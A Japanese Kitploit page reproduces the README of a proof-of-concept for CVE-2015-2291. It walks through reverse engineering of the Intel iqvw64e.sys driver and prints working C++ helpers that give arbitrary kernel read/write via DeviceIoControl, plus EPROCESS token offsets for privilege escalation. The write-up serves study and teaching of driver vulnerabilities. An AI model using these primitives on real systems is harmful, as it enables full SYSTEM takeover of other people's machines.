Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
iqvw64e-privilege-escalation — CVE-2015-2291 ローカル権限昇格のPoC | Kitploit
ツール/GitHubGitHub/ethanedits/iqvw64e-privilege-escalation
特権昇格脆弱性分析エクスプロイトリバースエンジニアリング学習と教育バイナリエクスプロイト
GitHubethanedits/iqvw64e-privilege-escalation

iqvw64e-privilege-escalation

CVE-2015-2291 ローカル権限昇格のPoC

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
26ヶ月前未レビュー

iqvw64e-privilege-escalation

CVE-2015-2291 ローカル権限昇格 PoC

PoC

概要

このプロジェクトは、CVE-2015-2291 に関連する Intel イーサネット診断ドライバである iqvw64e.sys(SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9)の**ローカル権限昇格(LPE)**脆弱性に対する教育用の概念実証(PoC)です。

KDMapper のようなカーネルモードローダーでこのドライバが悪用されているのを見て、IOCTL ディスパッチの仕組み、ユーザーモードに公開されている関数の種類、そして攻撃者がそれらをどのように発見・悪用し得るかを理解するために、自分自身でリバースエンジニアリングしたいと思いました。この記事では、静的解析から DeviceIoControl を用いたメモリプリミティブの構築、そして最終的に、それらのプリミティブを悪用して現在のプロセスのアクセストークンを SYSTEM プロセスのトークンに置き換えることで、プロセスを SYSTEM 権限へと実質的に昇格させるエクスプロイトの作成までを解説します。

Windows では、各プロセスはその ID と権限を定義するアクセストークンに関連付けられています。 任意のカーネル読み取り/書き込みを取得することで、カーネルのプロセス構造体に格納されているトークンポインタを変更することが可能になります。 このポインタを SYSTEM プロセスに属するものに置き換えると、OS は現在のプロセスを SYSTEM のセキュリティコンテキストに関連付けるため、実質的に完全な権限が付与されます。詳細はこちらを参照してください。

IOCTL ハンドラからジャンプテーブルへ

このドライバは、ユーザーモードからの DeviceIoControl 呼び出しを処理する IRP_MJ_DEVICE_CONTROL 用のディスパッチルーチンを登録しています。下に示すように、これは sub_11150 につながり、入力された IO 制御コードに基づいてコードフローを振り分けます。このケースでは 0x80862007 に注目します。これにより loc_111C2 に移動します。

IRP_MJ_DEVICE_CONTROL

loc_111C2 を通って制御フローを追跡すると、sub_113C0 に到達します。これは入力バッファ(a1)を受け取り、そのバッファの最初の QWORD を内部ハンドラ関数のジャンプテーブルへのインデックスとして使用します。ここでドライバは以下を実行します:

  • a1 の最初の QWORD(0x0)を読み取り → jump_table_index

  • このインデックスに基づいて分岐

  • 対応する内部関数にディスパッチ

  • a1 の残りのフィールドを引数として使用

これで、入力バッファがディスパッチ先とそのパラメータの両方を制御することが分かりました。解析を続けながら、入力バッファ の構造をさらに定義していきます。

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — used as the dispatch selector
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

loc_111C2

sub_113C0

memmove プリミティブの特定

ジャンプテーブルの各ケースを解析するにあたり、memmove や memcpy に似たハンドラを探しました。case 0x33 では、ドライバは入力バッファから3つのフィールドを渡して sub_11EA0 を呼び出します。これはメモリコピーに非常に似ています:

case_0x33

sub_11EA0 を開くと、期待どおりのシグネチャが見つかります:

root@kitploit:~
void* memmove( void* dest, const void* src, std::size_t count );

逆アセンブリの結果、以下が確認できます:

  • 引数 a1 = destination(コピー先)

  • 引数 a2 = source(コピー元)

  • 引数 a3 = length(長さ)

sub_11EA0

この情報があれば、memmove 呼び出しで想定される入力バッファのレイアウトを完全に再構築できます:

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
	uint64_t jump_table_index; // 0x00
	uint64_t padding;          // 0x08 (8)
	uint64_t source;           // 0x10 (16)
	uint64_t destination;      // 0x18 (24)
	uint64_t length;           // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

任意のメモリ読み取り/書き込みの実現

有効な MEMMOVE_INPUT_BUFFER をドライバに送信し、以下を設定することで:

  • jump_table_index = 0x33

  • source、destination、length を必要に応じて設定

ドライバに任意のアドレス上で memmove を呼び出させることができ、ユーザーモードから完全なカーネルメモリ読み取り/書き込み機能を得られます。

このプリミティブを基に構築したユーザーモードラッパーは以下のとおりです:

root@kitploit:~
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
	if (!destination || !source || !size)
		return 0;

	MEMMOVE_INPUT_BUFFER input_buffer = { 0 };

	input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
	input_buffer.source = source;
	input_buffer.destination = destination;
	input_buffer.length = size;

	DWORD bytes_returned = 0;
	return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}

uintptr_t read64(uintptr_t address)
{
	uintptr_t value = 0;
	if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
		return value;
	return 0;
}

bool write64(uintptr_t address, uintptr_t value)
{
	return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}

これらのヘルパーにより、カーネル仮想メモリに対する任意の 64 ビット読み取り/書き込みが可能になります。この時点から、さまざまな攻撃(EPROCESS トークン窃取など)が可能になりますが、この記事の焦点は再構築と解析です。main.cpp には、Eap2468 氏の CVE-2021-2155 提供による PoC EPROCESS トークン窃取エクスプロイトが含まれています。

備考

  • Windows バージョン: 10 x64 22H2 (19045.6466)

  • EPROCESS オフセット:

    • UniqueProcessId: 0x440
    • ActiveProcessLinks: 0x448
    • Token: 0x4b8
  • ドライバ: iqvw64e.sys (ドライバのバイナリは便宜上リポジトリに同梱しています)

  • SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9

参考文献とクレジット

  • CVE-2015-2291 (iqvw64e.sys)
  • KDMapper
  • CVE-2021-21551 / トークン窃取エクスプロイト
  • Windows 構造体定義の提供元である Vergilius Project

デモ

PoC

ツールをダウンロード